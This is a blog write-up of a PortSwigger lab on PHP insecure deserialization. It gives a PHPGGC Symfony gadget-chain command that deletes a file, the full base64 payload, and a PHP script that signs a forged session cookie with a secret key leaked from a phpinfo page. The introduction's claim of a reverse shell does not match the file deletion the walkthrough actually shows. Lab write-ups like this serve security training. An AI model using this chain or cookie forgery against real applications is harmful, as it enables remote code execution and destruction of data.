Asad

ASAD

ASAD

Insecure Deserialization – Portswigger Lab 6: Exploiting PHP deserialization with a pre-built gadget chain

Introduction

In this blog, we explore how insecure deserialization in PHP applications can lead to remote code execution using publicly available gadget chains. We solved a PortSwigger lab that simulates a real-world scenario where serialized data is stored in a cookie, and the server unserializes it without proper validation. By identifying a vulnerable class from a third-party library and using PHPGGC, we were able to craft a malicious payload that gave us a reverse shell. This demonstrates the severe impact of insecure deserialization when combined with gadget chains.

Understanding PHP Gadget Chain

Insecure deserialization is a vulnerability that affects many programming languages, and most of them have tools to help demonstrate or exploit these flaws. In the case of PHP, a popular tool called PHPGGC (PHP Generic Gadget Chains) is often used. This tool provides a collection of pre-built serialized payloadsโ€”called gadget chainsโ€”designed to exploit known vulnerabilities in commonly used PHP libraries.

However, it’s important to understand that the real vulnerability isn’t the gadget chain itself. The core issue is that the application is using the unserialize() function on data that an attacker can control. The gadget chain is just a method used to turn that unsafe behavior into something malicious, like executing commands or modifying data. So even if a website doesn’t use any known vulnerable gadget chains, it can still be at risk if it unserializes user-supplied input.

Sometimes, a ready-made gadget chain for the target applicationโ€™s specific framework may not exist. In such cases, it’s helpful to search online for any documented gadget chains or security write-ups related to the libraries the application uses. With a bit of understanding of how object serialization works in PHP, it’s possible to manually adapt an existing gadget chain or even create one by chaining together methods from available classes. This still takes less time and effort than building a full exploit from scratch and can be very effective in real-world testing.

Challenges

This lab has a serialization-based session mechanism that uses a signed cookie. It also uses a common PHP framework. Although you don’t have source code access, you can still exploit this lab’s insecure deserialization using pre-built gadget chains.

To solve the lab, identify the target framework then use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, work out how to generate a valid signed cookie containing your malicious object. Finally, pass this into the website to delete the morale.txt file from Carlos’s home directory.

You can log in to your own account using the following credentials: wiener:peter

Walkthrough

Step 1: We log in using the default credentials and send the login request to Burp Suiteโ€™s Repeater. The response contains a session cookie that includes a serialized token.

Step 2: We observe that the session cookie is URL-encoded. Using Burp Suite’s Inspector tool, we decode it and find that the token inside is base64-encoded. Next, we attempt to decode this base64 string to examine its contents.

Step 3: We decode the base64 token:

Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2MXhmbXo0djJnMnBpemtsNmVwZjU2aDM3NTlzbHh5NyI7fQ==

The decoded output reveals the following serialized PHP object:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"v1xfmz4v2g2pizkl6epf56h3759slxy7";}

This confirms that the session data is a serialized User object.

Step 4: We modify the serialized object by replacing the username from wiener to carlos, then encode the updated object back into base64 format to prepare it for further testing.

Step 5: We replace the original session token in the cookie with the newly created one and click “Apply changes” in Burp Suite to update the request.

Step 6: We send the request with the modified session cookie, but the server responds with a 500 Internal Server Error, indicating that the deserialization process failed or the object structure was invalid.

Step 6.1: Upon reviewing the full response, we discover that the application is using the Symfony framework, specifically version 4.3.6. This information is crucial for selecting the appropriate gadget chain for exploitation.

Step 7: During reconnaissance, while analyzing a 200 OK response, we discover an accessible PHP information page at the path:

/cgi-bin/phpinfo.php.

This page can help us gather more details about the server environment.

Step 8: We attempt to access the phpinfo page by replacing the endpoint in the URL with the path to phpinfo.php

https://0a26000e037694588074766300de00ee.web-security-academy.net/cgi-bin/phpinfo.php

Upon accessing and reviewing the page, we locate the secret key and save it for later use.

Now, we have the following important information:

  • SECRET_KEY: jbudsm2gt063g2iq1obmb66w4vzklo55
  • Symfony Version: 4.3.6

This information will help us tailor our exploit to the specific framework and environment.

Step 9: We use PHPGGC to check for available gadget chains, and we confirm that the Symfony gadget chain is included. This chain contains the __destruct function, which we will use for the exploitation.

Step 10: We generate the token using PHPGGC with the following command:

./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64 -w0

This produces the following base64-encoded token:

Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==

This token will allow us to trigger the remote code execution to delete the morale.txt file from Carlosโ€™s home directory.

Note: I have already explained this process in detail in my previous blog on PHP insecure deserialization. For more information, you can refer to the blog here: Insecure Deserialization in PHP.

Step 11: Now, we will create a session cookie using the secret key we obtained earlier and the newly generated token. For this, we’ll use a PHP script to generate the cookie.

<?php
$object = "OBJECT-GENERATED-BY-PHPGGC";
$secretKey = "LEAKED-SECRET-KEY-FROM-PHPINFO.PHP";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
?>
<?php
$object = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==";
$secretKey = "jbudsm2gt063g2iq1obmb66w4vzklo55";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
?>

Explanation:

  • $object contains the malicious serialized token that was generated earlier (base64-encoded).
  • $secretKey is the key obtained from the phpinfo.php page.
  • The HMAC SHA-1 signature is generated using the hash_hmac function, which combines the object and secret key to create the signature.
  • The final cookie is URL-encoded, making it ready for use in subsequent requests.

Step 12: We ran the script, and it successfully generated the session cookie with the malicious token. The output was a URL-encoded string containing the token and the corresponding sig_hmac_sha1 signature.

Command: php lab6-insecurephp-serialization.php
Result: %7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg%3D%3D%22%2C%22sig_hmac_sha1%22%3A%22bbc410fb3d5b573e75c9d75f3b7146587b11c2d3%22%7D

Step 13: We replaced the old session cookie with the newly generated one using the Cookie Editor extension, then refreshed the page.

Step 14: Although we encountered an error, we successfully solved the lab and deleted the morale.txt file.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top